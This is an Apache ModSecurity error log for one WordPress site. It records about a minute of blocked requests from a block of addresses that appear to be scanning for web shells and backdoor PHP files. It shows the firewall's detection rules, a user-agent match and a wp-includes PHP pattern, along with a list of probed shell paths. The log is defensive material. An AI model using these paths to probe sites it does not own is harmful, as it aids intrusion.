[Sat Apr 25 13:56:08.062619 2026] [:error] [pid 44320:tid 44362] [client 193.37.32.173:38077] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/mediaelement/"] [unique_id "aexXeDmFqSpku_dij8jDRAAAAEY"]
[Sat Apr 25 13:56:08.321523 2026] [:error] [pid 44425:tid 44431] [client 193.37.32.177:49057] [client 193.37.32.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "aexXeCUl-VlItvY2tR-M_QAAAMQ"]
[Sat Apr 25 13:56:08.572599 2026] [:error] [pid 44425:tid 44443] [client 193.37.32.139:43959] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/x.php"] [unique_id "aexXeCUl-VlItvY2tR-M_gAAANA"]
[Sat Apr 25 13:56:08.774770 2026] [:error] [pid 46083:tid 46102] [client 193.37.32.133:20855] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bolt.php"] [unique_id "aexXeDxw_Zq74vWdjmnqAwAAAQ8"]
[Sat Apr 25 13:56:09.060950 2026] [:error] [pid 44319:tid 44348] [client 193.37.32.138:21975] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aexXeczJPAVLUb2pWtKW6gAAABM"]
[Sat Apr 25 13:56:09.260579 2026] [:error] [pid 44319:tid 44342] [client 193.37.32.156:30257] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/info.php"] [unique_id "aexXeczJPAVLUb2pWtKW6wAAAA0"]
[Sat Apr 25 13:56:09.471543 2026] [:error] [pid 46083:tid 46092] [client 193.37.32.169:55935] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content.php"] [unique_id "aexXeTxw_Zq74vWdjmnqBAAAAQU"]
[Sat Apr 25 13:56:10.160159 2026] [:error] [pid 44425:tid 44433] [client 193.37.32.107:56131] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin.php"] [unique_id "aexXeiUl-VlItvY2tR-M_wAAAMY"]
[Sat Apr 25 13:56:10.552345 2026] [:error] [pid 46083:tid 46098] [client 193.37.32.161:39079] [client 193.37.32.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/"] [unique_id "aexXejxw_Zq74vWdjmnqBQAAAQs"]
[Sat Apr 25 13:56:10.749848 2026] [:error] [pid 44319:tid 44353] [client 193.37.32.163:45233] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/file/"] [unique_id "aexXeszJPAVLUb2pWtKW7wAAABg"]
[Sat Apr 25 13:56:11.039798 2026] [:error] [pid 46083:tid 46104] [client 193.37.32.138:50529] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aexXezxw_Zq74vWdjmnqBgAAARE"]
[Sat Apr 25 13:56:11.246293 2026] [:error] [pid 44319:tid 44341] [client 193.37.32.133:63147] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "aexXe8zJPAVLUb2pWtKW8AAAAAw"]
[Sat Apr 25 13:56:11.552824 2026] [:error] [pid 44319:tid 44351] [client 193.37.32.158:24849] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/a.php"] [unique_id "aexXe8zJPAVLUb2pWtKW8QAAABY"]
[Sat Apr 25 13:56:11.763880 2026] [:error] [pid 46083:tid 46103] [client 193.37.32.132:46903] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/function/function.php"] [unique_id "aexXezxw_Zq74vWdjmnqBwAAARA"]
[Sat Apr 25 13:56:11.965545 2026] [:error] [pid 46083:tid 46097] [client 193.37.32.169:57647] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "aexXezxw_Zq74vWdjmnqCAAAAQo"]
[Sat Apr 25 13:56:12.166433 2026] [:error] [pid 44425:tid 44448] [client 193.37.32.140:47885] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/upload/zczv.php"] [unique_id "aexXfCUl-VlItvY2tR-NAQAAANU"]
[Sat Apr 25 13:56:17.544472 2026] [:error] [pid 44319:tid 44349] [client 193.37.32.137:22223] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/user.php"] [unique_id "aexXgczJPAVLUb2pWtKW8wAAABQ"]
[Sat Apr 25 13:56:18.060545 2026] [:error] [pid 44425:tid 44440] [client 193.37.32.158:51999] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/"] [unique_id "aexXgiUl-VlItvY2tR-NAgAAAM0"]
[Sat Apr 25 13:56:18.436696 2026] [:error] [pid 44425:tid 44437] [client 193.37.32.164:54229] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aexXgiUl-VlItvY2tR-NAwAAAMo"]
[Sat Apr 25 13:56:18.645748 2026] [:error] [pid 46083:tid 46090] [client 193.37.32.173:21347] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/"] [unique_id "aexXgjxw_Zq74vWdjmnqCQAAAQM"]
[Sat Apr 25 13:56:19.033603 2026] [:error] [pid 46083:tid 46105] [client 193.37.32.141:50363] [client 193.37.32.141] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aexXgzxw_Zq74vWdjmnqCgAAARI"]
[Sat Apr 25 13:56:19.477206 2026] [:error] [pid 44321:tid 44406] [client 193.37.32.166:46425] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-post/"] [unique_id "aexXg41b5lV-asWa_Y6UfgAAAJc"]
[Sat Apr 25 13:56:19.846098 2026] [:error] [pid 44320:tid 44379] [client 193.37.32.155:62811] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/development/"] [unique_id "aexXgzmFqSpku_dij8jDRwAAAFc"]
[Sat Apr 25 13:56:20.129541 2026] [:error] [pid 44425:tid 44434] [client 193.37.32.176:21045] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aexXhCUl-VlItvY2tR-NBgAAAMc"]
[Sat Apr 25 13:56:20.349363 2026] [:error] [pid 44320:tid 44368] [client 193.37.32.135:45781] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aexXhDmFqSpku_dij8jDSQAAAEw"]
[Sat Apr 25 13:56:22.153006 2026] [:error] [pid 46083:tid 46107] [client 193.37.32.156:28405] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "aexXhjxw_Zq74vWdjmnqCwAAARM"]
[Sat Apr 25 13:56:22.423652 2026] [:error] [pid 44425:tid 44438] [client 193.37.32.147:54643] [client 193.37.32.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aexXhiUl-VlItvY2tR-NCAAAAMs"]
[Sat Apr 25 13:56:22.717836 2026] [:error] [pid 44425:tid 44449] [client 193.37.32.173:60509] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/themes.php"] [unique_id "aexXhiUl-VlItvY2tR-NCQAAANY"]
[Sat Apr 25 13:56:22.963961 2026] [:error] [pid 44320:tid 44357] [client 193.37.32.135:29447] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/"] [unique_id "aexXhjmFqSpku_dij8jDSgAAAEE"]
[Sat Apr 25 13:56:24.636978 2026] [:error] [pid 46083:tid 46111] [client 193.37.32.135:41833] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aexXiDxw_Zq74vWdjmnqDAAAARc"]
[Sat Apr 25 13:56:24.863595 2026] [:error] [pid 44320:tid 44376] [client 193.37.32.170:48805] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aexXiDmFqSpku_dij8jDSwAAAFQ"]
[Sat Apr 25 13:56:25.063683 2026] [:error] [pid 44425:tid 44433] [client 193.37.32.112:40387] [client 193.37.32.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aexXiSUl-VlItvY2tR-NCwAAAMY"]
[Sat Apr 25 13:56:25.372910 2026] [:error] [pid 44320:tid 44369] [client 193.37.32.158:61231] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/"] [unique_id "aexXiTmFqSpku_dij8jDTAAAAE0"]
[Sat Apr 25 13:56:25.571990 2026] [:error] [pid 44320:tid 44370] [client 193.37.32.165:59291] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/log.php"] [unique_id "aexXiTmFqSpku_dij8jDTQAAAE4"]
[Sat Apr 25 13:56:25.773022 2026] [:error] [pid 44425:tid 44439] [client 193.37.32.134:39679] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/image/"] [unique_id "aexXiSUl-VlItvY2tR-NDAAAAMw"]
[Sat Apr 25 13:56:26.731454 2026] [:error] [pid 44319:tid 44347] [client 193.37.32.177:32709] [client 193.37.32.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "aexXiszJPAVLUb2pWtKW9QAAABI"]
[Sat Apr 25 13:56:27.052402 2026] [:error] [pid 44425:tid 44442] [client 193.37.32.151:23955] [client 193.37.32.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/header.php"] [unique_id "aexXiyUl-VlItvY2tR-NDQAAAM8"]
[Sat Apr 25 13:56:27.263670 2026] [:error] [pid 44320:tid 44378] [client 193.37.32.136:42467] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "aexXizmFqSpku_dij8jDTgAAAFY"]
[Sat Apr 25 13:56:27.470994 2026] [:error] [pid 46083:tid 46109] [client 193.37.32.109:46015] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "aexXizxw_Zq74vWdjmnqDwAAARU"]
[Sat Apr 25 13:56:32.751728 2026] [:error] [pid 44425:tid 44447] [client 193.37.32.109:34613] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/worksec.php"] [unique_id "aexXkCUl-VlItvY2tR-NDwAAANQ"]
[Sat Apr 25 13:56:33.179823 2026] [:error] [pid 44321:tid 44392] [client 193.37.32.143:56095] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/includes/"] [unique_id "aexXkY1b5lV-asWa_Y6UgwAAAIk"]
[Sat Apr 25 13:56:38.448028 2026] [:error] [pid 46083:tid 46088] [client 193.37.32.137:24277] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bk/"] [unique_id "aexXljxw_Zq74vWdjmnqEgAAAQE"]
[Sat Apr 25 13:56:38.651628 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.152:50945] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "aexXlszJPAVLUb2pWtKW-AAAABE"]
[Sat Apr 25 13:56:39.273512 2026] [:error] [pid 44320:tid 44379] [client 193.37.32.139:51851] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aexXlzmFqSpku_dij8jDUAAAAFc"]
[Sat Apr 25 13:56:44.975516 2026] [:error] [pid 44321:tid 44389] [client 193.37.32.136:58561] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "aexXnI1b5lV-asWa_Y6UiwAAAIY"]
[Sat Apr 25 13:56:50.246742 2026] [:error] [pid 46083:tid 46101] [client 193.37.32.135:59439] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/buy.php"] [unique_id "aexXojxw_Zq74vWdjmnqFQAAAQ4"]
[Sat Apr 25 13:56:50.876683 2026] [:error] [pid 44321:tid 44399] [client 193.37.32.106:21625] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comments-pagination-numbers/"] [unique_id "aexXoo1b5lV-asWa_Y6UlAAAAJA"]
[Sat Apr 25 13:56:56.130150 2026] [:error] [pid 44320:tid 44357] [client 193.37.32.170:40209] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "aexXqDmFqSpku_dij8jDVQAAAEE"]
[Sat Apr 25 13:56:56.360685 2026] [:error] [pid 44320:tid 44376] [client 193.37.32.140:29203] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ahax.php"] [unique_id "aexXqDmFqSpku_dij8jDVwAAAFQ"]
[Sat Apr 25 13:56:56.575664 2026] [:error] [pid 44320:tid 44375] [client 193.37.32.154:59859] [client 193.37.32.154] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/num.php"] [unique_id "aexXqDmFqSpku_dij8jDWAAAAFM"]
[Sat Apr 25 13:57:01.822723 2026] [:error] [pid 44425:tid 44430] [client 193.37.32.163:30549] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "aexXrSUl-VlItvY2tR-NIAAAAMM"]
[Sat Apr 25 13:57:02.067732 2026] [:error] [pid 44425:tid 44438] [client 193.37.32.163:62043] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/app.php"] [unique_id "aexXriUl-VlItvY2tR-NIQAAAMs"]
[Sat Apr 25 13:57:02.342358 2026] [:error] [pid 44319:tid 44337] [client 193.37.32.107:53069] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aexXrszJPAVLUb2pWtKXCQAAAAg"]
[Sat Apr 25 13:57:07.551708 2026] [:error] [pid 44321:tid 44385] [client 193.37.32.142:32201] [client 193.37.32.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/files.php"] [unique_id "aexXs41b5lV-asWa_Y6UnwAAAII"]
